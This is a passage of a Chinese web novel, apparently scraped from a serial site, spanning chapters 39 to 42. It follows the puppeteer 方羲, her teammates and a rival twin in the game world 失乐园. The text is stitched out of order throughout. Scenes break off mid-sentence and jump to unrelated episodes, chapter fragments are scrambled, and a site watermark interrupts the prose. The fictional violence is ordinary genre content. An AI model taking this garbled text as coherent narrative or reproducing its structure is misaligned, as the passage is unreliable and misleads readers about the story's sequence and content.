这种与其他首席猎人几乎断档的实力，让所有人望尘莫及。她那高到离谱的异端抗性，一度没有合适的傀儡师和造梦家，能和她共同前往失乐园更深的高危副本探索。 不过。 密匙玩家们忽感一阵难以言喻的惊惧。心脏剧烈地跳动着。 最先反对权力更替的江同尘，动了动嘴唇，终于什么也没说出口。她摘下绷带，露出一双没有瞳孔、只剩下鲜红色眼白的双眼。 她的眼睛，没有焦距地注视着世界的剧烈变化。 人偶咬碎“水库，”异端的心脏之处。 海水涌出。沉沉地压在每一个玩家身上。 收藏家站在世界中央，双手缔造着一切，神情克制又疯狂。 她用虚假的面容、虚假的声音，用被游戏伪造的双眼，隔着遥遥虚空，对站在面前的密匙玩家说道。 “请不要寻找我。” 【锚点已建立。】 楚嘉薇的心底倏忽涌出一阵巨大的悲怆。 因为，曾经创建失乐园的先行者们，也是一样。仅仅以“代号”相称。 没有任何人知道他们的真名。 帝国为了降低他们被异端追踪的概率，甚至在数据库删除了所有相关的身份信息，只给予一个特殊代码，用以出入通行。 这项举动，也让无数先行者的相貌，在星辰的更替陨落之间，在宇宙衰亡式微之间，没有留下一丁点痕迹。 如同璀璨却又坠落的流星。 ……你也一样吗？如果你的名字没有任何一人记得，这样不会太孤独吗？ 第 39 章 第 39 章 方羲回复完黑天鹅001的消息就下线了。在出租屋美美地睡了一觉，隔日十一点准时起床。 洗漱的时候，方羲无聊地盯着镜子里的自己。 忽然间，她下意识摸了摸自己的脸庞，之前在仿真副本被异端刺出血洞的位置。 镜子骤然变成黑幕。 方羲静静地与镜中的红色双眼对视。像是邪神出于好奇，对蝼蚁投下的一瞥。 “能不能别挡着我的镜子。”方羲也是无语了。 附在镜中的异端不为所动。 她是一名内向冷酷的人类，和其他人的社交距离不应该有零厘米那么近。 至于旧的那份地图，就留到方羲手上。 五个人一边讨论，一边在地图上做好标记。最终花费了长达一个小时的时间，终于把第一版的出行路线设计完毕。 每张地图的标记风格都不甚相同。 秦淮月的地图路线极其清晰明了，重点突出，连画的方向箭头也一气呵成，没有一个多余错误的标记，旁边也没有写过于口语化的解释说明，堪称学神笔记！方羲赞扬了几句，然后理所当然地拿过来，大肆抄了一番！ 而宋白玉的就不一样了，不知道为什么，虽然他的地点标记也很精准。但旁边却附带着很多毫无关联的废话，惹得方羲多看了几眼。 “这不是我们刚刚闲聊的话吗？” “是啊，顺手就写上去了。” “为什么要记录这些？” “嗯……好像也没什么特别的理由，想写就写了。” “好吧。”一千零二没想到突然要上班，不情不愿地长出一对半透明的手，在小卖部门口装好自助饮料机和无良盲盒机。 路过的玩家震惊地看着装东西的一千零二，悄悄站在路对面观察。还没说些什么，他们就被这本毒舌之书远远地骂了一顿。 “看什么看！”在南十字架生物科技公司里，许多叫的上号的研究员，一向对那些量产型实验品视之不见。因为这都是一群没有思想的人型拼接肉块，死了活了也所谓。 但如果是像陈卧雪、陈据雪这类天然拥有灵魂的实验品，倒是愿意多关照几分，并将他们移植到更加健康、更加适宜生存的地方，偶尔也会像长辈一样，和这对双生灵魂聊聊天。 可也仅限于此。 在这种违反人伦常理的地方，每一个空气分子，都流着野蛮肮脏的鲜血。 原本，陈卧雪的“初始性格”，的确是谦逊、温和、与世不争的集合体。 可当他挥出拳头，第一次运用自己与生俱来的力量之时，看着被自己轻易踩在脚底的实验品，内心忽然诞生了一匹贪婪的野兽。 原来——只要使用一点暴力，一点巧妙的语言，就能让一个人脑子里的弦，彻底崩掉，并且再也拼凑不起来。 陈卧雪尝到了甜头，并微笑着，决定继续这样下去，毫不收敛。 但他也不愿意放弃苦心维持的君子面具，就像是皮与血肉之间，根本无法轻易分割。 至于那名与他相貌相似的同胞，另一半的灵魂，只是一个相当耐玩的玩具而已。 人造生命之间，并不存在真正意义上的家人情谊。 我们相互践踏，不死不休。 可谁能想象得到，一个任由自己被随意打骂侮辱、甚至无法称之为独立个体的同胞，会真的有学会“不”的一天呢？ 在她拒绝分出更多数量的傀儡之时。 在她想要独自组队，作为团队的眼睛之时。 在她的傀儡师天赋，彻底无法被黑云掩盖其绚烂之时。 “你明明身体这么强壮，却总喜欢踩我一脚。”陈据雪仿佛呓语一般喃喃道，“如果有一天，你陨落在真实战场里，说不定根本没人会指责你水平不好，反而会觉得我的存在是错误的。” “所有荣誉和胜利都是你的。” “而我，却要替你承担一切妄加之罪。” 小红帽抬起猎枪，嘻嘻地笑着，继续在陈卧雪身上接连开了两枪，一枪在左大腿，一枪在右肩。 责任刻入本能、原本想要上前给八千棋局治疗的造梦家，也被这一切变故惊得愣在原地。 冰凉的河流，多了属于人类的血。无数婴孩缓慢地爬过来，伸出短短的舌头，像兽类喝水一样，舔血。 而原先驻守在实验基地内部，负责辅助的密匙玩家，也感受到不远处的异动，还有来自外界传来的紧急通知，便连忙捞上稚嫩的新晋玩家，前往血河的战场。 陈卧雪冷笑道，继续使用和以前一模一样的打压说辞：“够了，停下来！你当这里还是小女孩的过家家游戏吗？” “那又怎样？”陈据雪却说，“失乐园对我来说，本来就只是游戏。” 游戏等级无所谓。 新晋排名的高低无所谓。 有没有愿意认可的队友也无所谓。 而你，弟弟——拥有得天独厚的强壮身体还不知足，连玩一个游戏，还非要抢夺我的作品，并为自己冠之天才的美名。 小红帽接收到主人的命令，还想继续开下一枪，却被一大片柔软轻盈的花瓣扼制了一切攻击的动作。 踏樱俯下身，嘴唇凑近陈据雪的耳边，轻声道：“没必要直接杀死他，这可是最仁慈幼稚的做法，连报复也称不上。如果你实在忍不住想做点什么，出副本之后，找我就好了，我会很多可以折磨人的手段。” 从梨花雪召唤出无数傀儡的那一刻，踏樱也瞬间明白白鸦的用意了——要知道，以她那种懒懒散散的性格，原本根本不会去做这种多余而费心费力的事。 不过，比起让蒙尘的新星锋芒毕露，白鸦说不定……只是觉得梨花雪身上自暴自弃的气息太浓重了，顺手拉她一把而已。 从在走廊上，梨花雪拉住“收藏家”，那个仿佛抓住唯一救命稻草的神情，就足以窥见她背后濒临崩溃的心理状态。 陈卧雪发现，连合作了这么久的造梦家，也没出手援助的时候，滔天怒火一下子涌上心头，情感压过了所有理智，故意忘记了最重要的游戏禁忌，咬牙切齿道：“陈据……” “砰——” 这一次，一名善于用枪的首席猎人，比小红帽更快，直接击穿陈卧雪的心脏，让他当场死亡。 猎人总是凭直觉行事。 这名猎人，本能地意识到，八千棋局接下来要说的话，似乎不太对劲，便毫无犹豫地选择杀死他，让这名新晋玩家提前下场。 但也晚了一点。 当真名的第一个音节被揭露，无数被迫冬眠的异端，忽然睁开眼睛，高兴地发现了世界上新出现了一只大肥羊，并争先恐后地涌入这场仿真副本。 梨花雪微微睁大眼睛，但很快又有些不感兴趣地垂下眼。只觉得异端的本质，和人类一样无趣。 但经验尚浅的傀儡师没太意识到，旁边有一名手握洋伞的造梦家，在拼命托举自己，她才没有因为真名被呼唤而当场暴毙。 梨花雪摸了摸首领狼，在首席玩家要求众人紧急退出副本之前，轻声道：“去吧，这次就为了我而战斗。” “嗷呜——” 副本在崩塌。 无论是参战的新晋玩家，还是场外的首席玩家，都发愣一般地看着这群数量超乎寻常的傀儡。 爱丽丝与兔子先生牵着手，在血河中共舞，举办世界上最盛大的宴会。 卖火柴的小女孩，蹲下身，笑眯眯地看着一只混入其中的鬼婴。 而小红帽，指挥着成百上千的狼群，很快逮住了被无数真实异端企图侵占的根系，举起猎枪，面露微笑，果断地扣下扳机。 “砰——” 凛冽的枪声穿透空气，杀死一只体型最庞大的十字架。 杀了系统模拟而成的根系，就等同于关闭了“入口”，真实的异端无法再入侵游戏世界。 随后，游戏系统的机械声响起。 “没见过伟大的一千零二上班吗？” 无辜挨骂的路人玩家：“QAQ” 一千零二装好机器，按着方羲的吩咐，把制作投影机长长一串的材料单，普通材料的部分剪了下来。再挂上一个小黑板，把普通材料单贴上去，并在旁边写道“想要使用盲盒机与饮料机，请用以上任一材料支付。” 当某一个材料收集完成，材料单上的名字就会相对应地删除。 方羲觉得想出这个办法的人类真是聪明绝顶。 打开店铺管理后台。 惊觉苹果糖已经被一扫而空，很多玩家在私信问什么时候发货。 方羲立刻逮住无所事事的三只大白鸦、四只彩色鹦鹉、八只老鹰、五只啄木鸟，给它们一鸟各三只苹果糖，并告知下单者的游戏名字。 彩色鹦鹉对着方羲认真叮嘱了几句。 大白鸦嘎嘎叫了几声。 老鹰严肃接下庄重的任务。 啄木鸟轻轻蹭了蹭方羲。 对了。方羲想起在特殊检测的时候，好像被她造了麻烦的两名密匙玩家，于是又叫来两只圆滚滚的小肥啾，各给一只苹果糖送过去。 反正小鸟们能够自动追踪，不需要她多加操心。 方羲看着群鸟离开的身影，心底暗暗想着好险，她差点忘了还有苹果糖得送货这码事。 完成安排送货这一系列工作之后，方羲十分疲惫，躺在懒人沙发上给下单的玩家一键回复了个“已发货，请注意查收”，便撒手不管。 再清理一下未读消息。 首席玩家问她身体状态怎么样，方羲回了个挺好。 九百号给她发了个莫名其妙的好友申请，方羲点了通过。 她的三人小队排到了第一名……嗯？这是什么？ 方羲十分震惊，并速速点进去查看，发现的确如此。 白乌鸦、踏樱和一夕的游戏名字，闪亮亮地挂在团队积分排行榜的第一名！ 难怪后台忽然来了这么多未读消息…… 从不写日记星人不太理解宋白玉的废话文学，但她认真地点点头，表示尊重。 方羲又转头看了看徐万念的地图，她的认真程度不亚于两名首席玩家，就是注释有点多，而且前言不搭后语。但方羲为了节省自己本就不多的脑细胞，就懒得去理解这些复杂的句意。 最后，方羲观摩了一番踏樱的那份，发现她在空白处画了五个颜色不同的简笔小人。 “这是什么？”方羲问，“你画了我们几个？” 其他三个人闻言，立刻探出脑袋去看，挤在一起欣赏踏樱的画作。 而又一次被挤在中间的方羲，目光有一瞬间的呆滞。 “这是谁？”方羲回过神来，指了一下最中间那个表情有点傻傻的，打着瞌睡泡泡，但线条画得特别精致的黑发小人，开心地问，“这是一夕吗？” “这是你。” “？” 方羲瞬间不开心了。 踏樱对方羲分辨外貌的能力实在无语了：“别欺负一夕，你也不照照镜子，你的游戏相貌跟她长得根本不一样。” 徐万念对比了一番自己和方羲的小人涂鸦，十分满意。她的小人拿着一把长枪，满脸严肃，看上去相当威武霸气！和旁边某个打瞌睡的黑发小人根本没有一点相似之处！ 【您的家务小能手进入疯狂清理状态】 【建议玩家养成良好的生活习惯，保证人偶健康的心理状态】 欧律狄刻尽职尽责地提醒道。 不过说到购物……方羲打开背包，取出一块【_____的布料】【针线盒】，开始给春醒缝个小钱包。 人偶无法使用游戏面板交易，但通过“钱包”的形式也可以。而且以春醒的性格，想必不久以后商业城会成为她霸占的天堂…… 对了，也给艾莉克萨准备一些礼物好了，让猫猫去送。 方羲摸摸下巴心想，思绪游离，已经完全忘记刚刚想要查看未读消息的动作。 第 40 章 第 40 章 伴随着藤蔓人偶砰砰咚咚改造小木屋的声音，小钱包也很快缝好了。 现在背包金币还有七百多万，方羲往春醒的专用小钱包放了一百万。顺便在上面添加了地图和储藏功能。 而给艾莉克萨的礼物，方羲思考两秒，借由某种冥冥之中的感应。 从商城逛了逛，采购了一堆书籍。 从四周新生的野花和藤蔓之中采下几株。 又从背包取出被猫猫捕捉的两只蝴蝶。 独自身处副本最深之处、缓慢前行的黑羊少女，忽而抬首、回头遥遥看了一眼。 随着最后一笔落下，这一段丑陋又扭曲的文字，忽然泛起一片耀眼的金色光芒，像是被注入了某种不可违抗的力量，闪闪发光。 “收藏家，你在写什么？”秦淮月注意到方羲手里那个笔记本的异动。 “送你了。”方羲啪地一声把本子合上，用魔法药水复制了一份，然后把复制品丢给秦淮月，强调道，“但只有秦淮月可以看，你们几个人可别偷偷凑过去偷看。” 秦淮月愣了一下。 她缓缓打开笔记本，阅读完方羲刚刚书写的文字。 一阵难以言说的心悸骤然袭来。 “——秦淮月，就当是你和我之间的约定吧。”方羲说，“既然你用世间的俗物吸引我，让我感受到由衷的欢悦。那么我也会为了你继续燃烧信念，去努力战胜那个亘古的瞬间……嗯，虽然我根本不知道，我什么时候才能兑现这个约定。” 这一刻，秦淮月第一次窥见了无穷灵感之人，内心深处那一块坍塌、摇摇欲坠的阴面面。 但方羲眼底那一抹的寂寥，转瞬即逝，仿佛从未出现过一样。 又变回原来那个闪闪发光、毫无阴霾的灵魂。 秦淮月忽然理解了宋白玉此前的愤怒与多疑，还有“要再多了解她一点”的建议。 她与她并没什么不同。方羲合上日记本，感觉有点失望。 但她没有在这种小事上深思太多，因为人类总是越思考越痛苦，不如不思考。 方羲和往常一样，躺进全息仓，再次登录游戏。 宇宙和星辰在眼前飞速流逝。 不过，时光机、投影机、断裂的栏杆…… 失乐园是怎么制造出来的？ 又是怎么把数量无穷的异端关在里面的？ 游戏世界里，各种奇奇怪怪的材料和道具，无法被机械系统量化的灵魂，在现实中都是不可能实现的事情。 【玩家“白乌鸦”，失乐园欢迎您的归来。】 方羲睁开眼睛。 小木屋的一切再次映入眼帘。 “喵喵喵！！！” “喵喵～” “喵。” 三只猫猫看见人偶师终于出现，立刻上前蹭蹭，吸人。 方羲轻抚猫猫们。 她扫了一圈四周，九百号好像还没有回来。 艾莉克萨在看书。 春醒在哼着歌，教鹦鹉说话。 夏青禾依然不在，大概是在世界到处旅游。 方羲想了想，走到户外，从游戏背包取出505的时光机和投影机，放在地上，盯着这两团不知所谓的废铜烂铁，陷入了诡异的沉默。 昨天没太仔细看，方羲现在才发现，原来这两台机器都是坏的。 偶尔也会卑微地懦弱、迟疑不决。 但当猎人总是收敛着锋芒的、温和的眼睛，与人偶师跳脱冷漠的异色眼眸交汇之时。 二人却像是洞悉了各自的心中所想，相视一笑。 “你是在借约定之言，来安慰我吗？”秦淮月说，“实际上，当你说我们无法跟着你前往终点的时候，我的确想要不顾一切阻止你的决定。我甚至考虑过……我的长枪是否有战胜你和你身后傀儡的可能性，说不定能将不善战斗的你，打晕带回黑天鹅？” 嗯？好像有什么不对？ 当方羲的大脑理解完秦淮月的话时……她震惊了！ 秦淮月居然有如此暴力的想法！ 她谨慎地对比了一番自己和秦淮月的体格差距，忽然惊恐地发现自己如果不依靠武器和人偶，仅靠徒手和体能，可能真的没办法打过军人出身的秦淮月！ “……”秦淮月发现方羲脸色不太对劲，无奈地说，“我并不会这么做。” 方羲心有戚戚地说：“下次别开这种冷幽默了，果然不爱说话的人都会语出惊人。” 秦淮月笑了笑说：“你需要的话，我可以教你……纠正现在这种毫无章法的战斗风格。” 方羲拒绝训练，并表示这种机会给徐万念就行了，她不是很需要。 “我的确在安慰你，但我也是在安慰自己。”方羲言归正传，“因为我……我想为自己到处投放记忆锚点而已。” “记忆锚点？” “如果有一天我真的心情很差，什么也不想做，那我就可以借着这个未能履行的约定，重新站起来。”方羲说，“我们人类都是很脆弱的，又很容易多变。所以总是需要依靠点什么东西，才能把信念坚持下去。” “既然这样……我明白了。” “收藏家，我会准备好赠送给你的别墅。”秦淮月说，“也会一直等待你来伊甸园兑现约定。” “慢着！还有一个前提，我忘记说了。” “你是指？” “请让你胸腔中那个火焰颜色的灵魂，一直燃烧下去吧。”方羲说，“我只和这样的灵魂兑现约定。” “像这种外围区的话，一个月十万到五十万金币。”踏樱说。 方羲欲言又止：“这个玩家……” 踏樱和方羲对视一眼，默契地从对方眼里读出对傻子的怜悯。 “哼。”二人头顶忽然传来冷哼声，“她只是借着开店，更方便到训练场观察新晋玩家的综合实力，捞几个潜力不错的猎人徒弟而已……看我做什么？” 说话者是King。他意识到自己忽然被方羲踏樱同时认真盯着，谨慎地后退了几步。 “我可没在跟踪你们，刚好路过而已。”King僵硬地说，“别想太多。” 方羲完全无视King脸上的尴尬之意，好奇问道：“然后呢？” King卡了一下，才意识到方羲的关注力似乎有些诡异，但他还是继续说道：“剩下就没什么特别的了。而且以密匙玩家的权限，即使营业额亏损，专属系统也不会强行驱赶他们。” 方羲继续用期待的目光看着他，一脸渴望吃瓜的样子。 “……” King的语速开始加快：“他们内部总是流传着一句话，说是要找点更有潜力的新玩家，阿拉斯代尔之城确实也是新人容易出没的地方……既然现在准备关店了，说明这个【新人】已经找到了吧。” 他的话意有所指。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 40-50 第 41 章 第 41 章 踏樱看了眼方羲，本人压根没反应过来其中的暗示。 King耳边响起队友的传音，便匆匆道别离开了。 不过他在离开之前，却意味深长地看了一眼踏樱：“我今天只是恰好过来办点事情。不过，你在今天的商业城可能会遇到不少老熟人。” 踏樱瞬间明白King的暗示，皱了皱眉头。 “怎么了？”方羲问。 “嗯……没什么！你想先去哪逛逛？”踏樱撇开一闪而过的烦躁。 秦淮月：“……” 她有点哭笑不得，但还是配合地接过了方羲的笔记本，在这个没有任何法律约束、像是孩童儿戏一样的“合同”上，签下了自己的真名。 一千零二也光速飞了过来，大叫道：“什么！我听到了什么？！咱们贫穷的■■，居然也能有翻身农奴把歌唱的一天！不过……慢着，人类！你说的那什么什么星球，一套别墅价值多少钱？不会是想用卖不出去的破瓦房，哄骗我们单蠢的■■吧？！” 秦淮月无奈地重复了一遍：“是伊甸园的高级别墅。” 一千零二挠挠书角，难得客气地问道：“伊甸园是什么？” 方羲闻言，也好奇地问：“你说的星球在哪个位置？是一颗高等星球吗？” 不料，方羲和一千零二的问话一出，原本又轻松起来的聊天氛围，再次凝固了一瞬。 没有帝国人类不知道伊甸园的存在。 哪怕是住得再偏远的低等公民，哪怕他们根本不了解失乐园和先行者的存在，也或多或少听过这颗星球的名号——因为这是人类帝国永恒的荣耀，唯一的主星。 有那么一瞬间，秦淮月怀疑收藏家是在明知故问。 但收藏家并不擅长说谎。不料，被踏樱吐槽的“老古董”，却被方羲再次拿了起来，满脸如获至宝，嘀咕道：“什么老古董？这种款式明明看上去怪高级的！” 踏樱嘴角抽了一下。 高级？ 用肉眼看都知道这只光脑做得很粗糙，明显的机械缝线，材料也很劣质，哪来的高级？ 方羲问：“等等，这个光脑怎么开？” 踏樱：“……总感觉，你比这只光脑还要老古董。” 虽然这么吐槽，踏樱还是从游戏背包取出一个万能充电宝，给这个光脑充了一会电，然后教老古董方羲怎么开机。 老古董方羲第一次使用这么高级的光脑，大受震撼，并小心翼翼把它揣进口袋。 “我们来分赃吧。”方羲期待地搓搓手，“你们先选。” 一夕：“不要。” 踏樱只拿了一块远古武器胚胎。 方羲震惊地说：“你们这就选完了？没有想要的吗？” “白鸦，我的灵感不够高，看不懂这些机器的【文字】。”踏樱说，“而且我们一碰……它们就自动爬走。这些东西无法被我们所用，这是属于你的。” 方羲正想把手伸向金币箱，却听见踏樱冷酷无情的声音：“金币也不用，我不缺钱。” 一夕：“没用。” 方羲的内心受到了重击！ 这个世界上居然……居然真的存在对金钱嗤之以鼻的人类！ 方羲看待踏樱和一夕的目光，逐渐变得不一样起来，充满着浓浓的敬佩。 看来这两只人类已经超脱世俗，对金钱不屑一顾，那这份苦恼只能由她来承担了！ 全程什么也没干的方羲，心安理得地把各种金币、钞票、机器和道具材料，一一收进游戏背包。 但为了方便下一次再拐她们过来打白工，方羲表示在离开矿洞之前，她先做一顿饭，作为这次挖土活动的酬劳。 二人自然没什么意见，坐在已经天黑的小天坑下，借着手提灯，还有天空落下的月光，就这么看着方羲从游戏背包取出几根木柴，一口小锅，一包速食挂面，一罐盐，一袋味精，一瓶油，四颗从宝箱获得的且五颜六色的蛋。 她们本来想帮忙，但方羲说不用，便只待在了原地观看——毕竟材料只有面和鸡蛋，步骤怎么样也不会复杂到哪里去。 方羲钻木取火。 方羲把锅放在小小一簇的火堆上。 方羲打蛋，但因为砸得力气太大，第一颗蛋失败告终。 方羲成功打下第二颗蛋。 方羲盯着不知道是什么生物的蛋发呆了五分钟，总感觉忘记了什么事情。 一夕：“……你没放油。” 方羲：“……哦哦。” 方羲放了油。 方羲拿起小锅，在高处向下流的小溪，接了一下水。 方羲走了回来。 踏樱：“……（震撼的目光）” 方羲在水没有烧开的时候，放入面条。 方羲放盐，放味精，放入两颗圆滚滚的蛋，然后盖上锅盖。 半小时后，面做好了。 方羲认真地给踏樱和一夕盛好面，把唯二两颗水煮蛋分给她们，浇下热滚滚的溪水汤。并且用的是大号碗，自己的是小号碗。 踏樱捧着面碗的手，忍不住抖了一下。 一夕面露茫然，大脑仿佛陷入了诡异的加载状态。 “不吃吗？”方羲奇怪地问，想了想，先自己尝了一口，感觉味道其实还可以。果然水煮蛋面怎么做都差不多。 踏樱实在不好意思让方羲失望，只好艰难地啃了一口——趁着方羲转身继续研究宝箱的时候，她把所有的面倒给一夕，笑眯眯地低声威胁道：“你最辛苦，所以多吃点。不够的话，锅里还有。” 一夕面露绝望。 “白鸦。” “怎么了？” “你下次还是别做饭了。”踏樱的微笑难得有些僵硬，委婉地说，“我们游戏背包都有吃的，我看你忙来忙去的，实在太累了。” 方羲十分感动，客套了几句，然后同意了。 一夕还在艰难地和“白乌鸦亲手制作的水煮蛋面”作斗争，满脸痛苦，但碍于踏樱的压迫，她不得不吃完。 ……希望第二天还能活着醒过来。 方羲打开游戏面板看了看，发现还跟刚刚那样，只能使用基础的游戏背包、地图瞬移之类的功能，而论坛和好友聊天界面的标识，不知不觉间灰掉了。 浮空岛的故障还没修好吗？ 方羲想了想，提醒踏樱和一夕她们可以还使用地图回归游戏世界。至于她自己，打算下线睡大觉了。 目送踏樱和一夕离开人偶师的个人空间，方羲才浇灭冒着余烟的火堆，对着矿洞深处挥了挥手，然后转身徒步回去小木屋。 一阵清风徐徐拂过方羲的衣袖。 特别是在找借口的时候，她的声音总是或多或少带着几分明显的心虚。 而现在……从她的表情来看，的的确确是在单纯地疑惑，仿佛真的没有听过伊甸园的名字。 “伊甸园是帝国的主星。”秦淮月眼神微微闪烁了一下，想揭过这个触碰方羲记忆死线的话题，于是语气无奈地说，“我怎么会送你一套……瓦房？” 宋白玉在旁边插话道：“收藏家，秦队说的别墅，至少价值过亿。” 这话直接正中某人的下怀！不过方羲作为队长，被放在最前面。 而踏樱的在第二，她是造梦家，所以被判定为副队长。 方羲想了想问：“比起训练副本，你要不要去体验一次高难度的仿真副本呢？” 梨花雪一愣，原本有些昏昏欲睡的状态，一下子像被浇了盆水，瞬间清醒。 “收藏家，你是指……新晋三千的特训吗？” 方羲从礁石上站起来，把喝光的椰子壳，丢进一千零二肚子里，然后懒散地伸了个懒腰，才转过头，慢悠悠地说：“梨花雪，你想去吗？” 咸湿的海风轻轻吹过二人的衣袖。 在方羲话音刚落的一瞬，梨花雪有无数犹豫、退却、恐惧的情绪，齐齐涌上心头。 她一定会失败的。 她会输得很惨。 因为——只有零星两三个傀儡，才知道梨花雪是它们真正的主人。绝大部分傀儡，也意识不到它们反抗八千棋局的行为，其实是梨花雪在一念之间，暗中施加的命令。 而其余的、未交接给八千棋局的傀儡，全待在梨花雪的个人空间里，它们像是一堆沉睡的死物，也是失败品，根本无法运作。 梨花雪习惯了隐于幕后，担当一个奉献自我的角色。但如果让她独自迈开一步，听上去天方夜谭。 像是一把达摩克利斯之剑，高高地悬在头顶。 万一……她其实和陈卧雪一样，根本没有力量驱动傀儡呢？也不能给其他玩家提供精确的命令呢？ 梨花雪的双手搁置在腿上。 说起来，以帝国的医疗技术，完全可以治好单纯被打坏的腿。 只是她的研究员，根本不愿意上心，觉得这没什么丝毫意义，明明治好一双腿，是多么简单的事情。 本来有一次，其他研究员心血来潮，想把她作为练手的材料，提高一下自己的手术技术。 但这个事情，也被耳听八方的陈卧雪知道了，轻而易举地拦下了那名研究员。 就像是，故意让她身上，留下这么一个耻辱失败的象征。 “好。” 一道坚定的声音，被海风轻轻吹起。 “我想去。”梨花雪攥紧手里的纸条，抬起眼，“我想试试，虽然我从未踏入过任何一个仿真副本。” 虽然她，以前每一次和陈卧雪组队的时候，哪怕只是在最普通低级的游戏副本中，表现也经常不尽人意。 她太畏惧和这个小偷接触，还有站在一起。 “那么，下午一点半，你再来我的店铺一趟吧。”方羲说，“你现在可以下线休息一会，至于前往浮空岛的问题，我会替你申请好的。” 方羲顿了顿，声音又有点温和地说：“当然，到时候你也可以选择保持【观战状态】。” 但高达八千的灵感，这么一颗明珠……怎么可能会轻易蒙尘呢？ 只是缺少一个机会而已。 让梨花雪重新进入无穷宇宙里，方羲这次就没麻烦大白龙了，而是逮住一团白云，让它帮忙把她们送回人偶师的大地。 而一开始一起过来的黑天使，早就自由地飞走了，不过他在离开之前，往方羲手里塞了一大团五彩斑斓的鸦羽。 搁浅的龙头蹭了蹭这团暖洋洋的灵魂，目送她坐着白云离开。 把梨花雪带回游戏世界之后，方羲跟欧律狄刻说了一声，让它帮忙申请一下梨花雪前往浮空岛的临时凭证，然后就直接下线了。 距离下午三点还早，她要先睡个大觉。 方羲陷入睡梦之前，机智地定了个十个闹钟，她打算睡个三个小时左右。 三小时后。 “叮铃铃——” “Zzzz……” 食人藤听着方羲定的十个闹钟，每隔五分钟，从头到尾响到最后。 某人依然没醒。 食人藤尝试戳了戳方羲，结果她直接蒙上了被子，拒绝面对清醒的世界。 时间来到了中午一点十五分。 方羲猛地掀开被子，抓起光脑一看时间，震惊地说：“这光脑又坏了？！居然一点声音也没有！” 食人藤：“（无语）” 方羲感到一丝焦虑，但距离约定的时候还有有十五分钟，也没什么可着急的。 至少一个亿，这是个什么概念！ 卖了一千零二都没有这么多星币！（一千零二：？） 方羲真心实意感慨道：“你们首席玩家一个两个的真有钱。” 比如宋白玉，曾经为了感谢方羲，愿意让自己作为艾莉克萨的使用者，就随手给她转赠了三百万金币！还有之前的护身符项链，方羲本来想意思意思收点辛苦费，但他居然主动提价，给了二百万金币！昨天也二话不说就把大半副身家给了自己…… 就连看似低调、朴实无华的秦淮月，随口一说，就要送给方羲价值一个亿的别墅！ 方羲眼泪汪汪，十分感动。系统的声音？ 这是要到了吗？ 收藏家要带她去哪？ 除了真实战场，失乐园有哪些地方，能脱离专属系统的监控？ 但从004号系统的只言片语来看，她们来到的地方，似乎也不像真实战场…… “到了。” 收藏家的声音骤然响起。 一只半透明的手在星空中出现，朝梨花雪伸出来，大概是想将她拉出来。 梨花雪愣了一下，才握住这只奇怪的手。 轮椅的轮子随之滚动，而空旷寂静的宇宙在疯狂向后逝去。 以防万一，方羲让梨花雪戴上了一条蒙眼纱，怕的就是不靠谱的一千零二，临时在半路上把人给吐出来。 虽然她不太清楚其他三种职业的个人空间是什么形态，但至少现在，人偶师这个身份，还不能向世界揭露。 方羲替梨花雪取下蒙眼纱，笑道：“喏，你可以看一下地图上的坐标，这里离浮空岛很近很近——这可是我意外发现的隐藏地图呢！” 闻言，她茫然地睁开眼睛。 轮椅落地的感觉很奇怪，有点柔软。 梨花雪微微垂头，发现是一团白云。 而白云之下，却是一个亘古、壮丽的世界。 不知名的巨型大鱼，懒懒散散地挥动鱼翼，乘风而起。路过白云的时候，黑眼珠子滴溜溜地转过来，好奇地看了一眼陌生的来客，但又很快不感兴趣地移开视线。 旁边还有一只不愿意自力更生，依赖鲲鹏来起的风，悠悠漂浮的人鱼雕像。 梨花雪忍不住伸出手，轻轻摸了一下大鱼的皮肤。 明明这是在天空。梨花雪却依然摸到了海洋，潮湿粘腻的手感。 风声在耳边呼啸。 梨花雪下意识抓住胸口，心脏跳得好疼。 这里，比她永远闪烁着蓝光，窗户看不见丝毫太阳的实验室，要宽阔得多。 这些造物，也比她那些无数个沉睡着、无法被驱动的傀儡更有生气。 好美…… 四个人一时之间都被方羲这种浮夸的反应惊到了。 方羲小心翼翼地接过秦淮月填好真名的合同，仔细看了一遍，甚至谨慎地问了一下：“那个，你不会反悔吧？” 秦淮月：“……”力量特性： 会飞！我曾经求了龙龙整整三天，它终于愿意带我飞上万丈高空！ 很会打架！有谁能打过十四州？！有谁？！ 此外，十四州还拥有无穷厚血、威慑力极强、奇异的血脉压制、超高武力、一爪拍飞九千九百九十九只异端…… 相关玩家评价： 123：“能不能切几片龙鳞给我做个化学实验？” 444：“这龙怎么这么懒？成猪了吧？（冷笑）” 777：“它吃掉了我给奶牛猫准备的晚饭！696，赔钱！（咆哮）” 饶是性格再严肃、冷静的秦淮月，此时也被方羲给整无语了，哭笑不得地说：“一套别墅而已，你觉得我会吝啬这点东西吗？” 一千零二立刻大叫，几乎把方羲的心声说了出来：“听听！听听！这是人话吗？！什么叫做一套别墅而已？这可是价值一个亿的别墅！和普通的别墅根本不一样！” 方羲抓住激动的一千零二，在她肚子翻找了半天，终于找到一只功能比较特殊的字迹隐形笔，然后虔诚地在后一条下划线写上自己的真名。 见方羲的目光落在三名猎人的枪械上，踏樱想了想道：“听说每届新晋玩家在通过真实试炼之后，前代玩家会专门安排他们学习使用各种类型的枪械，无论本人是否擅长这一类的武器，都必须强制学习。” “因为附魔枪械是最高效的，如果从新晋时期就用惯了枪械，对后面的真实战场也会轻松一点。”踏樱说，“不过这项规则仅适用于猎人。” “如果是造梦家，那么大多会使用杖型武器。像是手杖、长枪之类的。” “傀儡师的武器看似是普通的匕首、手枪之类，但他们真正的武器是手中的替行者。” “这样吗？”方羲摸摸下巴，“其实我只会用后坐力弱一点的枪。” 方羲的目光又落回走在最前面的秦淮月身上。 即使是系统复刻的画面，但这时候的秦淮月，胸口里还燃烧着希望的火焰，热烈而夺目的红色。 一名引领战场风向、他人甚至无法追逐其脚步，勇猛又冷静的战士。 但这份火红色，在短短三年之后，似乎已经消失殆尽了。 第 42 章 第 42 章 风声凛冽。 越到深处，异端的面积也越大，自然无法依靠秦淮月一人。 他们准备分点突破，清扫战场。 相互之间的距离也拉得更远。 此时，现场画面似乎自动停滞下来，专属系统相当人性化地蹦出几个视角，让方羲和踏樱自由选择。 方羲：“……” 方羲心想这异端是不是神经病。 阅读完这份机密版清晨早报，方羲只觉得这群异端非常离谱，有点智商但好像不多，不过她还是决定参考异端的建议——她要去挑衅所谓的“国王”！要求祂交出所有财产！还有宠物红龙！ 